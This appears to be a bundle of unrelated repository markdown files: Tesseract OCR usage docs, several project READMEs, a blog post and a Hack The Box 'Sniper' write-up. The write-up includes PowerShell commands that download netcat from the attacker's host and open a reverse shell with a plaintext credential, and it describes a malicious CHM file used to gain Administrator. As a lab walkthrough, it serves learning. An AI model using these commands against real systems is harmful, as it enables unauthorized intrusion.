text:
# Command Line Usage

## [Tesseract 'man' page](https://github.com/tesseract-ocr/tesseract/blob/main/doc/tesseract.1.asc)

See the [man](https://github.com/tesseract-ocr/tesseract/blob/main/doc/tesseract.1.asc) page for command line syntax and other details.

## FAQ

See [FAQ](FAQ.md#running-tesseract) for more examples and tips.

--------------------------------------------

## Available OCR Engines in Tesseract 5

   Use `--oem 1` for LSTM/neural network, `--oem 0` for Legacy Tesseract.

   Please note that Legacy Tesseract models are included in traineddata files from [tessdata](https://github.com/tesseract-ocr/tessdata) repo only.

   `tesseract input.tiff output --oem 1 -l eng`

---------------------------------------------

## Simplest Invocation to OCR an image

    tesseract imagename outputbase

This uses **English** as the default language and 3 as the Page Segmentation Mode. The default output format is **text**.

osd.traineddata, for Orientation and Segmentation and eng.traineddata and other language data files for English should be in the "tessdata" directory. TESSDATA_PREFIX environment variable should be set to the parent directory of "tessdata" directory.

The following command would give the same result as above, if eng.traineddata and osd.traineddata files are in /usr/share/tessdata directory.

    tesseract --tessdata-dir /usr/share imagename outputbase -l eng --psm 3

--------------------------------------------

Following examples use this image which has text in multiple languages.

![eurotext.png](images/eurotext.png)

## Using One Language

Add '-l LANG' to the command where LANG is three character language code from the list of supported languages. If this is not given then English language is assumed by default.

    tesseract images/eurotext.png - -l eng

Output

```
The (quick) [brown] {fox} jumps!
Over the $43,456.78 <lazy> #90 dog
& duck/goose, as 12.5% of E-mail
from<EMAIL_ADDRESS>is spam.
Der ,schnelle” braune Fuchs springt
iiber den faulen Hund. Le renard brun
«rapide» saute par-dessus le chien
paresseux. La volpe marrone rapida
salta sopra il cane pigro. El zorro
marrén rapido salta sobre el perro
perezoso. A raposa marrom ripida
salta sobre o cdo preguigoso.
```

## Using Multiple Languages

Add '-l LANG[+LANG]' to the command line to use multiple languages together for recognition

    tesseract images/eurotext.png - -l eng+deu

Output

```
The (quick) [brown] {fox} jumps!
Over the $43,456.78 <lazy> #90 dog
& duck/goose, as 12.5% of E-mail
from<EMAIL_ADDRESS>is spam.
Der „schnelle” braune Fuchs springt
über den faulen Hund. Le renard brun
«rapide» saute par-dessus le chien
paresseux. La volpe marrone rapida
salta sopra il cane pigro. El zorro
marrén rapido salta sobre el perro
perezoso. A raposa marrom räpida
salta sobre o cdo preguigoso.
```

--------------------------------------------

## Order of multiple languages

The time taken for OCR as well as the output can be different based on the order of languages.

Following examples use this image which has text in multiple languages - Hindi and English.

![bilingual.png](images/bilingual.png)

### Using English as primary language and then Hindi

```
time tesseract images/bilingual.png - -l eng+hin

Estimating resolution as 638
हिंदी से अंग्रेजी
HINDI TO
ENGLISH

real    0m0.442s
user    0m0.622s
sys     0m0.062s

```

### Using Hindi as primary language and then English

```
time tesseract images/bilingual.png - -l hin+eng

Estimating resolution as 638
हिंदी से अंग्रेजी
HINDI TO
ENGLISH

real    0m0.429s
user    0m0.550s
sys     0m0.074s
```
### Using script/Devanagari as primary language (it supports all languages in Devanagari script and English)

```
time tesseract images/bilingual.png - -l script/Devanagari

Estimating resolution as 638
हिंदी से अंग्रेजी
HINDI TO
ENGLISH

real    0m0.391s
user    0m0.459s
sys     0m0.093s

```

### Use `quiet` configuration to suppress messages

Using `quiet` at end of the above command will suppress the message regarding image resolution.

```
time tesseract images/bilingual.png - -l script/Devanagari quiet

हिंदी से अंग्रेजी
HINDI TO
ENGLISH

real    0m0.416s
user    0m0.494s
sys     0m0.091s
```
--------------------------------------------

## Searchable pdf output

    tesseract testing/eurotext.png testing/eurotext-eng -l eng pdf

This creates a pdf with the image and a separate searchable text layer with the recognized text.

--------------------------------------------

## HOCR output

Use 'hocr' config file by adding hocr at the end of the command to get the HOCR output.

    tesseract images/eurotext.png - -l eng hocr

Partial Output

```
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
    "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
 <head>
  <title></title>
  <meta http-equiv="Content-Type" content="text/html;charset=utf-8"/>
  <meta name='ocr-system' content='tesseract 5.0.1-64-g3c22' />
  <meta name='ocr-capabilities' content='ocr_page ocr_carea ocr_par ocr_line ocrx_word ocrp_wconf'/>
 </head>
 <body>
  <div class='ocr_page' id='page_1' title='image "images/eurotext.png"; bbox 0 0 640 500; ppageno 0; scan_res 300 300'>
   <div class='ocr_carea' id='block_1_1' title="bbox 61 41 574 413">
    <p class='ocr_par' id='par_1_1' lang='eng' title="bbox 61 41 574 413">
     <span class='ocr_line' id='line_1_1' title="bbox 65 41 515 71; baseline 0.013 -11; x_size 25; x_descenders 5; x_ascenders 6">
      <span class='ocrx_word' id='word_1_1' title='bbox 65 41 111 61; x_wconf 96'>The</span>
      <span class='ocrx_word' id='word_1_2' title='bbox 128 42 217 66; x_wconf 95'>(quick)</span>
      <span class='ocrx_word' id='word_1_3' title='bbox 235 43 330 68; x_wconf 95'>[brown]</span>
      <span class='ocrx_word' id='word_1_4' title='bbox 349 44 415 69; x_wconf 94'>{fox}</span>
      <span class='ocrx_word' id='word_1_5' title='bbox 429 45 515 71; x_wconf 96'>jumps!</span>
     </span>

...

     <span class='ocr_line' id='line_1_12' title="bbox 61 385 444 413; baseline 0.013 -9; x_size 24; x_descenders 4; x_ascenders 5">
      <span class='ocrx_word' id='word_1_62' title='bbox 61 385 119 405; x_wconf 92'>salta</span>
      <span class='ocrx_word' id='word_1_63' title='bbox 135 385 200 406; x_wconf 92'>sobre</span>
      <span class='ocrx_word' id='word_1_64' title='bbox 216 392 229 406; x_wconf 83'>o</span>
      <span class='ocrx_word' id='word_1_65' title='bbox 244 388 285 407; x_wconf 80'>cdo</span>
      <span class='ocrx_word' id='word_1_66' title='bbox 300 388 444 413; x_wconf 92'>preguigoso.</span>
     </span>
    </p>
   </div>
  </div>
 </body>
</html>
```
--------------------------------------------

## TSV output

Use 'tsv' config file by adding tsv at the end of the command to get the TSV output.

    tesseract images/eurotext.png - -l eng tsv

Partial Output

```
level   page_num        block_num       par_num line_num        word_num        left    top     width   height  conf    text
1       1       0       0       0       0       0       0       640     500     -1
2       1       1       0       0       0       61      41      513     372     -1
3       1       1       1       0       0       61      41      513     372     -1
4       1       1       1       1       0       65      41      450     30      -1
5       1       1       1       1       1       65      41      46      20      96.063751       The
5       1       1       1       1       2       128     42      89      24      95.965691       (quick)
5       1       1       1       1       3       235     43      95      25      95.835831       [brown]
5       1       1       1       1       4       349     44      66      25      94.899742       {fox}
5       1       1       1       1       5       429     45      86      26      96.683357       jumps!
4       1       1       1       2       0       65      72      490     31      -1
5       1       1       1       2       1       65      72      60      20      96.912064       Over
5       1       1       1       2       2       140     73      37      20      96.887390       the
5       1       1       1       2       3       194     73      139     24      93.263031       $43,456.78
5       1       1       1       2       4       350     76      85      25      90.893219       <lazy>
5       1       1       1       2       5       451     77      44      19      96.820717       #90
5       1       1       1       2       6       511     78      44      25      96.538940       dog
4       1       1       1       3       0       64      103     458     26      -1
```
--------------------------------------------

## Using different Page Segmentation Modes

### --psm 3 - Fully automatic page segmentation, but no OSD. (Default)

Following example uses this image which has text in multiple columns.

![2col.png](images/2col.png)

    tesseract images/2col.png - --psm 3

```
Cautionary Statement

ON FORWARD-LOOKING STATEMENTS: This presentation includes
information, statements, beliefs and opinions which are forward-looking, and
which reflect current estimates, expectations and projections about future
events, referred to herein as “forward-looking statements” within the meaning
of the U.S> Private Securities Litigation Reform Act of 1995 or “forward-looking
information” under applicable securities laws. Statements containing the words
“believe”, “expect”, “continue”, “could, “potential”, “predict”, “would”,

“intend”, “should”, “seek”, “anticipate”, ‘will’, “opportunity,” “positioned”,

“poised,” “project”, “risk”, “plan”, “may”, “estimate” or, in each case, their

Historical Information: Historical statements contained in this document
regarding past trends or activities should not be taken as a representation that
such trends or activities will continue in the future. In this regard, certain
financial information contained herein has been extracted from, or based upon,
information available in the public domain and/or provided by the Company. In
particular, historical results should not be taken as a representation that such
trends will be replicated in the future. No statement in this document is
intended to be nor may be construed as a profit forecast.
```

### --psm 6 - Assume a single uniform block of text.

Following examples uses this image which has a Table of Contents.

![toc.png](images/toc.png)

    tesseract images/toc.png - --psm 6

```
Contents

Introduction to the Tenth Anniversary Edition page xvii
Afterword to the Tenth Anniversary Edition xix
Preface xxi
Acknowledgements xxvii
Nomenclature and notation xxix
Part I Fundamental concepts 1
1 Introduction and overview 1
1.1 Global perspectives 1

1.11 History of quantum computation and quantum
information 2
1.1.2 Future directions 12
1.2 Quantum bits 13
1.2.1 Multiple qubits 16
1.3 Quantum computation 17
1.3.1 Single qubit gates 17
1.3.2 Multiple qubit gates 20
1.3.3 Measurements in bases other than the computational basis 2
1.34 Quantum circuits 2
1.3.5 Qubit copying circuit? 24
```

### Use -c preserve_interword_spaces=1 to preserve spaces

    tesseract images/toc.png - --psm 6 -c preserve_interword_spaces=1

```
Contents

Introduction to the Tenth Anniversary Edition                                       page xvii
Afterword to the Tenth Anniversary Edition                                                 xix
Preface                                                                                xxi
Acknowledgements                                                                                xxvii
Nomenclature and notation                                                                        xxix
Part I Fundamental concepts                                                                          1
1 Introduction and overview                                                                              1
1.1 Global perspectives                                                                                1

1.11 History of quantum computation and quantum
information                                                                                2
1.1.2 Future directions                                                12
1.2 Quantum bits                                                          13
1.2.1 Multiple qubits                                                     16
1.3 Quantum computation                                                  17
1.3.1 Single qubit gates                                                17
1.3.2 Multiple qubit gates                                                20
1.3.3 Measurements in bases other than the computational basis              2
1.34 Quantum circuits                                                            2
1.3.5 Qubit copying circuit?                                                  24
```

### Use pdftotext for preserving layout for text output

tesseract images/toc.png images/toc -l eng --psm 11 pdf

pdftotext -layout  images/toc.pdf -

```
                                    Contents

Introduction to the Tenth Anniversary Edition                             page xvii
Afterword to the Tenth Anniversary Edition                                      xix
Preface                                                                         xxi
Acknowledgements                                                              xx
Nomenclature and notation                                                      xxix

Part I Fundamental concepts

 1 Introduction and overview
    1.1 Global perspectives
          1.11 History of quantum computation and quantum
                information
          1.1.2 Future directions                                                12
    12 Quantum bits                                                              13
         1.2.1 Multiple qubits                                                   16
    1.3 Quantum computation                                                      17
               Single qubit gates
             2 Multiple qubit gates                                              20
               Measurements in bases other than the computational basis          2
             4 Quantum circu                                                     2
             5 Qubit copying circuit?                                            24
```

repository: tesseract-ocr/tessdoc

repo_name: tesseract-ocr/tessdoc


text:
---
layout: page
title: SNIPER HTB 🔫
date: '2020-03-28 17:40:00'
categories: ["htb"]
---

tl&dr

Port 80 was the port I attacked. On other ports I had no access. Found several directories by using gobuster, but on /blog directory there was a parameter including a .php file. And I suspected for lfi(local file inclusion).
I tried everything from [PayloadAlltheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion).
I setup samba on my box and then I try to serve a file by using smb. At first I try a .php file which included a shell on it.
But nothing happend and the website throws a 404 page. I see the logs and see that the file was indeed accesed. I try to server a webshell this time, and It works.
Now I upload [netcat](https://eternallybored.org/misc/netcat/) and get a shell, on a writable folder I previously find by using `dir /Q`. At wwroot folder of the webserver I get some credentials.
I verify if these credentials work by using smbclient. I had to use the password with the user Chris. Now I need a way become that user.

```
powershell.exe -c "$user='Sniper\Chris'; $pass='36mEAhz/B8xQ~2VM'; try { Invoke-Command {cmd /c curl -o C:\Users\Chris\Desktop\nc64.exe <IP_ADDRESS>/nc64.exe}  -ComputerName Sniper -Credential (New-Object System.Management.Automation.PSCredential $user,(ConvertTo-SecureString $pass -AsPlainText -Force)) } catch { echo $_.Exception.Message }" 2>&1
```
This will download nc to chris dektop folder. And then I get a reverse shell as chris.

```
powershell.exe -c "$user='Sniper\Chris'; $pass='36mEAhz/B8xQ~2VM'; try { Invoke-Command {cmd /c C:\Users\Chris\Desktop\nc64.exe <IP_ADDRESS> 4444 -e cmd.exe}  -ComputerName Sniper -Credential (New-Object System.Management.Automation.PSCredential $user,(ConvertTo-SecureString $pass -AsPlainText -Force)) } catch { echo $_.Exception.Message }" 2>&1
```

Poking around the box I find a *instructions.chm* file located at Downloads folder. I get the file by copying it to my samba share, and then I install xchm to view that file.
The file tells me that a developer had enough with his boss and hopes someone will snipe his boss. Because this does not make much sense I try to find more info.
I find a folder located at C:\Docs which has a todo.txt inside of it. This time is the boss which yels at Chris about his php skills and then tells him to drop a file with the app documentation into that folder.
I use [nishang](https://github.com/samratashok/nishang/blob/master/Client/Out-CHM.ps1) script to create a malicious chm file.
To do this I had to switch to a Windows VM and then download [HTML Help WorkShop](https://www.microsoft.com/en-us/download/details.aspx?id=21138).
The malicious script executes a reverse shell from Chris Desktop folder by using *nc.exe*. I had troubles with this part because I had to only include my instructions.chm and nothing else.
And then I get reverse shell as Administrator.

So there is something like cron running. I try to see for scheduled jobs but I can't find the one which executes my malicious .chm file.
I enable **rdp** and after login by using rdp. I see that there was a file running which executed the malicious .chm.
But why I couldn't Had more than 3 files there?(2 file which I had no permission to delete and then 1 file which I upload).

The Script was located at `C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sig.ps1`

And had the following content

```
1 while($true) {
2    get-process | where name -eq hh | Stop-Process -force
3    sleep 2
4    del C:\Docs\*.chm
5    sleep 20
6    Get-ChildItem "C:\Docs" -Filter *.chm | Foreach-Object {
7        $sig =  [char[]](gc $_.FullName -Encoding Byte -ReadCount 1 -TotalCount 2) -join ''
8        if($sig -eq 'IT') {
9                write "entre"
10                hh.exe $_.FullName
11        }
12        else {
13                write "boo"
14        }
15    }
16    sleep 10
17}
```

After running this script I can see that I was mistaken for having only my file at that folder. Because The script is running continuously I may had entered my file when code on line *3* was getting executed thus making me go nuts. So what this script
does..? At first this script stops every process which include the name hh then it waits 2 seconds and then deletes every file containing .chm at the end. Next It waits for 20 seconds and then It loops through every .chm file and checks if they are valid on line *7* by checking 2 byte from its header. If these bytes are equal to IT then hh.exe command is executed and
we get a shell. If not the script waits another 10 seconds and then executes again from line 2.

This box was great overall. It is also great to see how the creators are doing these boxes.

----------------------------------------
Read more:
[Chm Virus](https://www.bleepingcomputer.com/news/security/malicious-chm-files-being-used-to-install-brazilian-banking-trojans/),
[Bypass Php Remote URL Inclusion restriction](http://www.mannulinux.org/2019/05/exploiting-rfi-in-php-bypass-remote-url-inclusion-restriction.html)

license: MIT

branch_name: refs/heads/master

extension: md

gha_language: HTML

license_type: permissive


text:
# 🏆 Burger Builder using React.js 🏆

##### **Badge:**
![License: ](https://img.shields.io/badge/License-ISC-green)

## **Description:**
* You can create your own burger with the ingredients you want. The app will give show you an order summary and price of the final burger before purchasing.

## **Table of Contents:**
1. [Installation](#installation)
2. [Usage](#usage)
3. [Contribution](#contribution)
4. [Test](#test)
5. [Questions](#questions)

## **Installation:**
* https://williamsffc.github.io/Burger-Builder--React.js/

## **Contribution:**
* If you want to contribute, please let me know.

### **Questions:**
*<EMAIL_ADDRESS>
### **Link:**
* [GitHub] - https://github.com/williamsffc

-------------
© Copyright - 2020

license: ISC

branch_name: refs/heads/main


text:
# Hello World App

A simple app to get us off the ground

Sources
[Codelab 1.1](https://developer.android.com/codelabs/android-training-hello-world?hl=en#3)
[Layout XML](https://developer.android.com/codelabs/basic-android-kotlin-training-xml-layouts?hl=en#8)

## Steps

1. Increase minSdkVersion in build.gradle and re-sync
1. File > Add New > Activity > Empty Activity
* Files created:
 * MainActivity.kt (`onCreate()`)
 * activity_main.xml (code/design/split)
* Files modified
 * AndroidManifest.xml (activity definition)
1. Add a virtual device and click play
* Error: "Could not identify launch activity: Default Activity not found"
* Add this intent filter to the AndroidManifest.xml
```xml
        <activity android:name=".MainActivity">
            <intent-filter>
                <action android:name="android.intent.action.MAIN" />
                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity>
```
1. Try clicking play again. Our app launches!
1. Add "Hello World" to the ConstraintLayout
* Add an entry to `strings.xml`
* Drag the `TextView` into `activity_main.xml` and set
 * id
 * text
 * layout_width/layout_height
 * gravity
 * layout_constraints
1. Re-run the app
1. Define label text programmatically
 * Update `EditText` in `MainActivity::onCreate`
 * Add a log statement

repository: boralben/SauceLabsTraining

gha_language: Kotlin

gha_license_id: MIT

repo_name: boralben/SauceLabsTraining


text:
---
layout: post
title:  "Online IDE"
date:   2015-10-15 12:00:00
categories: Test Post
comments: true
---

https://codeanywhere.com/

#### Which is better, coding using an online IDE or a standard offline IDE?

https://www.quora.com/Which-is-better-coding-using-an-online-IDE-or-a-standard-offline-IDE

For those with a reasonable home or office internet connection an online IDE can
be as responsive as your local IDE.  But you should consider the sum of your
developer toolset, not just the IDE - for most developers working on larger
projects there is a lot of wasted time and resources spent configuring and
maintaining the developer edit, build, run and debug environments.  Add to this
the waiting for large builds to complete on your local machine and for your
project's infrastructure to start each time you want to run/debug and there can
be a lot more wasted time in your day than you'll see in any small latency with
a cloud editor.

Certainly, local IDEs have more features but as cloud IDEs catch up (and they
are), expect that increasingly the differences will be minimal and related to
edge cases.

By contrast, cloud IDEs have a growing advantage because they can provide developers true parallel edit/build/debug/run and near infinite resources for larger, more complex projects.  As our industry moves to microservices, APIs, OSS and containers, I expect projects to grow more complex in their dependencies and the benefits of cloud development solutions to become more and more obvious.

Its hard to say which is better per say, certainly the Desktop has a lot going for it and it is still the standard. But on the other hand the Cloud IDE has features that a Desktop just cant compare to, for example here are some advantages of the Cloud IDE:

  1. No Setup
  2. No Configuration
  3. No Administration
  4. Access from anywhere
  5. The ability to Share resources
  6. Collaboration
  7. No Hardware Limitations (i.e. the size of a DB being lager than your local storage
  8. Automatically Backups

Definitely a local IDE. I've tried to use an online IDE but it's inconvenient and performance suffers. Things really start to slow down as you continue coding.

If you're asking because of a concern over  cloud storage, try installing Dropbox on your machine and save your code that way; editing using an IDE. You get native performance with the redundancy of cloud storage.

So far I prefer a local IDE if all the resources are local. For larger code bases and when doing refactoring, the UI latency tends to be significant to cause inconvenience.

#### How is code executed in the browser

https://www.quora.com/How-do-online-IDEs-compile-and-display-results-of-a-code-written-in-the-online-code-editor

The key here is that the code is not executed in the browser.

The code is sent over to their server (maybe in a Ajax request). The appropriate language runtime runs the code on the server and produces the output.

The output is then sent back to the client and gets displayed in the browser.

https://codenvy.com/resources

#### In demand programming languages.

http://www.codingdojo.com/blog/8-most-in-demand-programming-languages-of-2015/

### Resourses

https://atom.io/
https://codenvy.com/resources
https://www.quora.com/What-are-some-recent-03-2014-good-reviews-on-cloud-IDEs
:wink:

repository: rahulpandita/blog

extension: markdown

repo_name: rahulpandita/blog


text:
# ariadne-token-auth

A django app to implement token based authentication in projects which use
[ariadne](https://ariadnegraphql.org/).

## Summary

- [ariadne-token-auth](#ariadne-token-auth)
  - [Summary](#summary)
    - [Installing](#installing)
  - [Using the package](#using-the-package)
    - [Example Project](#example-project)
    - [Setup](#setup)
    - [Migrations](#migrations)
    - [Schema](#schema)
    - [Protecting Views](#protecting-views)
    - [Configuration](#configuration)
    - [Bonus](#bonus)
  - [Contributing](#contributing)
  - [Versioning](#versioning)
  - [Authors](#authors)
  - [License](#license)
  - [Acknowledgements](#acknowledgements)
  - [Others](#others)

### Installing

The package can be downloaded from [PyPI](https://pypi.org/project/ariadne-token-auth/) or
[github](https://github.com/IgnisDa/ariadne-token-auth) repository.

```bash
pip install ariadne-token-auth
```

Or using [poetry](https://python-poetry.org/)

```bash
poetry add ariadne-token-auth
```

## Using the package

### Example Project

You can have a look at the [example project](./example_project) for a fully
working project. [Habitrac](https://github.com/IgnisDa/habitrac) is also a production
website which uses this package to implement authentication.

### Setup

Include the `AuthTokenMiddleware` in your `MIDDLEWARE` settings.

```python
MIDDLEWARE = [
    # Other middleware
    "ariadne_token_auth.middleware.AuthTokenMiddleware",
]
```

Include the `AuthTokenBackend` in your `AUTHENTICATION_BACKENDS` settings.

```python
AUTHENTICATION_BACKENDS = (
    "django.contrib.auth.backends.ModelBackend",
    "ariadne_token_auth.backends.AuthTokenBackend",
)
```

Finally add `ariadne_token_auth` to your `INSTALLED_APPS`.

```python
INSTALLED_APPS = [
    # other apps
    'ariadne_token_auth',
]
```

### Migrations

Next, run `python manage.py migrate` to commit the auth-token model to your database.

### Schema

Add the relevant mutations to your GraphQL schema.

```python
from ariadne import MutationType, make_executable_schema
from ariadne_token_auth.api import resolvers

auth_mutation = MutationType()

auth_mutation.set_field("getAuthToken", resolvers.get_auth_token)
auth_mutation.set_field("deleteAuthToken", resolvers.delete_auth_token)
type_defs = """
  type Mutation {
    getAuthToken(identifier: String!, password: String!): AuthTokenPayload!
    deleteAuthToken(token: String!): DeleteTokenPayload!
}
"""

schema = make_executable_schema([type_defs, resolvers.type_defs], auth_mutation)
```

- `getAuthToken` to authenticate an existing user and obtain a corresponding token. The
  resolver uses the user model's `USERNAME_FIELD` which by default is `username`. However
  it will work with other `USERNAME_FIELD`s just fine, for example when the default user
  identifier is `email` instead of `username`. The [example project](#example-project) does
  this by defining a
  [custom user model](https://docs.djangoproject.com/en/3.1/topics/auth/customizing/#specifying-a-custom-user-model).

  ```graphql
  mutation getAuthToken($identifier: String!, $password: String!) {
    getAuthToken(identifier: $identifier, password: $password) {
      error
      auth {
        token
      }
    }
  }
  ```

  If authentication is successful, you can obtain the auth-token from
  `response.data.getAuthToken.auth.token`, and if it is unsuccessful, errors will
  be present in `response.data.getAuthToken.error`.

- `deleteAuthToken` to delete a logged in user using the above token.

  ```graphql
  mutation deleteAuthToken($token: String!) {
    deleteAuthToken(token: $token) {
      status
      error
    }
  }
  ```

  If the token was correct and deletion was successful, the value of
  `response.data.deleteAuthToken.status` will be set to `true` (or it's equivalent in your
  frontend language). Otherwise, the error will be present in
  `response.data.deleteAuthToken.error` and `response.data.deleteAuthToken.status` will be
  set to `false`.

### Protecting Views

You can use the `login_required` decorator to protect your graphql queries from
non-authenticated users.

```python
from ariadne import QueryType
from ariadne_token_auth.decorators import login_required

@query.field("testQuery")
@login_required
def test_query(self, info, *args, **kwargs):
    return {"user": info.context.get("request").user}
```

### Configuration

Settings specific to ariadne-token-auth are stored in the `ARIADNE_TOKEN_AUTH` dictionary
in `settings.py` file. The defaults can be seen in [utils.py](./ariadne_token_auth/utils.py)
file. They can be configured as follows:

```python
# settings.py
ARIADNE_TOKEN_AUTH = {
    'TOKEN_NAME': 'myBearer', # case insensitive
    'TOKEN_LENGTH': 15
}
```

With the above settings, you will have to send requests in the following fashion (example
uses `curl`, but the basic premise stays the same).

```bash
curl 'http://<IP_ADDRESS>:8000/graphql/' \
      -H 'Content-Type: application/json' \
      -H 'Authorization: myBearer 8496fda8dedad2235921693717c8dc' \
      --data-binary '{"query":"query {\n  testQuery {\n    user\n  }\n}"}'
```

### Bonus

You can find a very easy way to add your `*.graphql` files to the django auto-reloader
[here](https://github.com/IgnisDa/ariadne-token-auth/blob/main/example_project/example_app/apps.py#L6).

## Contributing

Please read [CONTRIBUTING.md](CONTRIBUTING.md) for details on our code
of conduct, and the process for submitting pull requests to us.

## Versioning

We use [SemVer](http://semver.org/) for versioning. For the versions
available, see the [tags on this
repository](https://github.com/PurpleBooth/a-good-readme-template/tags).

## Authors

See also the list of [contributors](contributors.md) who participated in this project.

## License

This project is licensed under the
[Apache-2.0](https://www.apache.org/licenses/LICENSE-2.0) - see the
[LICENSE.md](LICENSE.md) file for details

## Acknowledgements

1. **django-token**: Model definitions, middleware and authentication backends adapted from
   [django-tokens](https://github.com/jasonbeverage/django-token) package.
2. **ariadne-jwt**: Exceptions, and decorators adapted from
   [ariadne-jwt](https://github.com/Usama0121/ariadne-jwt) package.

## Others

Project bootstrapped using [cookiecutter](https://github.com/IgnisDa/project-cookiecutter)
by IgnisDa.

repository: IgnisDa/ariadne-token-auth

repo_name: IgnisDa/ariadne-token-auth


text:
# Application-angular.js-
Develop a single page application using Angular JS and Twitter Bootstrap.

The application should have these features.

1. Should be able to add a new player- {Player name and score}
2. Should be able to list the added players.
3. Should be able to edit a player's score.
4. Should be able to delete a player.
5. Should be sort the list based on name and score.


text:
# Sheariella Petr. GENUS

#### Status
ACCEPTED

#### According to
The Catalogue of Life, 3rd January 2011

#### Published in
Sydowia 6(1-4): 302 (1952)

#### Original name
Sheariella Petr.

### Remarks
null

repository: mdoering/backbone

repo_name: mdoering/backbone


text:
# rbgg

Isolate and remove the background gradient from images of paper.

![Example](https://i.imgur.com/UorlQ7X.png)

![Steps](https://i.imgur.com/HePbtgy.jpg)

### Motivation

One of my hobbies is using a pen plotter to make [computer-generated drawings](https://www.michaelfogleman.com/plotter/).
I often take pictures of these drawings to post online, but it's hard to get even, consistent lighting across the entire photo.
Instead of trying to perfect the lighting, I wrote this software to clean up the images for me.

### Installation

    $ go get -u github.com/fogleman/rbgg

### Usage

    $ rbgg input.jpg

### How it Works

For every pixel in the image, we analyze its neighborhood (a box centered on the pixel, with size 5% x 5% of the image size by default) to determine the paper intensity in that region. The 90th percentile brightness is selected by default. The pixel is rescaled to bring this window brightness up to the target brightness. This algorithm will have trouble if certain regions are mostly ink (rather than mostly paper) and can still leave some "vignetting" at the corners of the image. Analyzing a 5% x 5% region around every pixel naively would be very slow - so the code uses some tricks to do this more efficiently.

### Another Example

Works well for notes and maybe whiteboards too. Obviously software for this purpose already exists but sometimes you just gotta write your own tools so you can fine tune them for your own needs!

![Example](https://i.imgur.com/D6u4dx3.jpg)

repository: lanxingmo/rbgg

repo_name: lanxingmo/rbgg


text:
# irc-benchmark

This repo holds benchmarks comparing various IRC libraries, all of which implement IRCv3 tags.

- [jakebailey/irc](https://github.com/jakebailey/irc), my IRC library. In the encoding tests,
`WriteTo` indicates that the output was directly written to an `io.Writer`
rather than creating a temporary buffer.
- [jakebailey/ircold](https://github.com/jakebailey/ircold), a fork of `MorpheusXAUT/irc`, which is a fork of
`github.com/sorcix/irc` (all to add IRCv3 tags).
- [sorcix/irc](https://github.com/sorcix/irc), the `ircv3.2-tags` branch.
- [fluffle/goirc/client](https://github.com/fluffle/goirc/client), a handler-based IRC library.
- [thoj/go-ircevent](https://github.com/thoj/go-ircevent), an event-based IRC library. This doesn't
actually export the message parsing function, so `go-forceexport` was used
to find a function pointer rather than fork the project.
- [goshuirc/irc-go/ircmsg](https://github.com/goshuirc/irc-go/ircmsg), an IRC message handler lib.
- [gempir/go-twitch-irc](https://github.com/gempir/go-twitch-irc), an IRC lib specifically for Twitch. This
comparison is likely unfair because it includes extra functionailty around
extracting tags.

Formatted using [prettybench](https://github.com/cespare/prettybench).

repository: jakebailey/irc-benchmarks

gha_language: Go

repo_name: jakebailey/irc-benchmarks


text:
# keras-yolo (YOLO v1)
This repository presents a quick and simple implementation of YOLO v1 object detection using Keras library with Tensorflow backend.
- keras 2.2.4
- Tensorflow 1.12.0

## Introduction to object detection
。。。                                          |

In this project, we will use YOLO v1, since it's easy to implement and are reasonably fast.

## The YOLO v1

### Architecture of the convolutional neural network

The YOLO v1 is consist of 24 convolution layers and 3 full connected layers. Each convolution layer consists of convolution, leaky relu and max pooling operations. The first 24 convolution layers can be understood as the feature extractor, whereas the last three full connected layers can be understood as the "regression head" that predicts the bounding boxes.

![model](./output_images/yolo_network.PNG)

the detail of the architecture is in list in this table
- Layers	        Parameters
- Input Data	    Images Size: 448×448
- Convolution	    num_filters: 64, kernel size: 7×7, stride: 2
- Max Pooling	    kernel size: 2×2, stride: 2
- Convolution	    num_filters: 192, kernel size: 3×3, stride: 1
- Max Pooling	    kernel size: 2×2, stride: 2
- Convolution	    num_filters: 128, kernel size: 1×1, stride: 1
- Convolution	    num_filters: 256, kernel size: 3×3, stride: 1
- Convolution	    num_filters: 256, kernel size: 1×1, stride: 1
- Convolution	    num_filters: 512, kernel size: 3×3, stride: 1
- Max Pooling	    kernel size: 2×2, stride: 2
- Convolution	    num_filters: 256, kernel size: 1×1, stride: 1
- Convolution	    num_filters: 512, kernel size: 3×3, stride: 1
- Convolution	    num_filters: 256, kernel size: 1×1, stride: 1
- Convolution	    num_filters: 512, kernel size: 3×3, stride: 1
- Convolution	    num_filters: 256, kernel size: 1×1, stride: 1
- Convolution	    num_filters: 512, kernel size: 3×3, stride: 1
- Convolution	    num_filters: 256, kernel size: 1×1, stride: 1
- Convolution	    num_filters: 512, kernel size: 3×3, stride: 1
- Convolution	    num_filters: 512, kernel size: 1×1, stride: 1
- Convolution	    num_filters: 1024, kernel size: 3×3, stride: 1
- Max Pooling	    kernel size: 2×2, stride: 2
- Convolution	    num_filters: 512, kernel size: 1×1, stride: 1
- Convolution	    num_filters: 1024, kernel size: 3×3, stride: 1
- Convolution	    num_filters: 512, kernel size: 1×1, stride: 1
- Convolution	    num_filters: 1024, kernel size: 3×3, stride: 1
- Convolution	    num_filters: 1024, kernel size: 3×3, stride: 1
- Convolution	    num_filters: 1024, kernel size: 3×3, stride: 2
- Convolution	    num_filters: 1024, kernel size: 3×3, stride: 1
- Convolution	    num_filters: 1024, kernel size: 3×3, stride: 1
- Flatten
- Fully Connected Layer	    Input Number: 1024, Output Number: 512
- Fully Connected Layer	    Input Number: 512, Output Number: 4096
- Fully Connected Layer	    Input Number: 4096, Output Number: 7×7×30

### Loss
![loss](./output_images/loss.jpg)

In this project, we will use Keras to construct the YOLO model.

### Postprocessing

The output of this network is a 1470 vector, which contains the information for the predicted bounding boxes. The information is organized in the following way

<img src="./output_images/net_output.png" width="600"/>

The 1470 vector output is divided into three parts, giving the probability, confidence and box coordinates. Each of these three parts is also further divided into 49 small regions, corresponding to the predictions at each cell. In postprocessing steps, we take this 1470 vector output from the network to generate the boxes that with a probability higher than a certain threshold. The detail of these steps are in the `yolo_net_out_to_car_boxes` function in the `utili` class.

### Use pretrained weights

```
load_weights(model,'./yolo.weights')
```

Note that tensorflow is used for the backend in this project.

## Results

The following shows the results for several test images with a threshold of 0.17. We can see that the cars are detected:

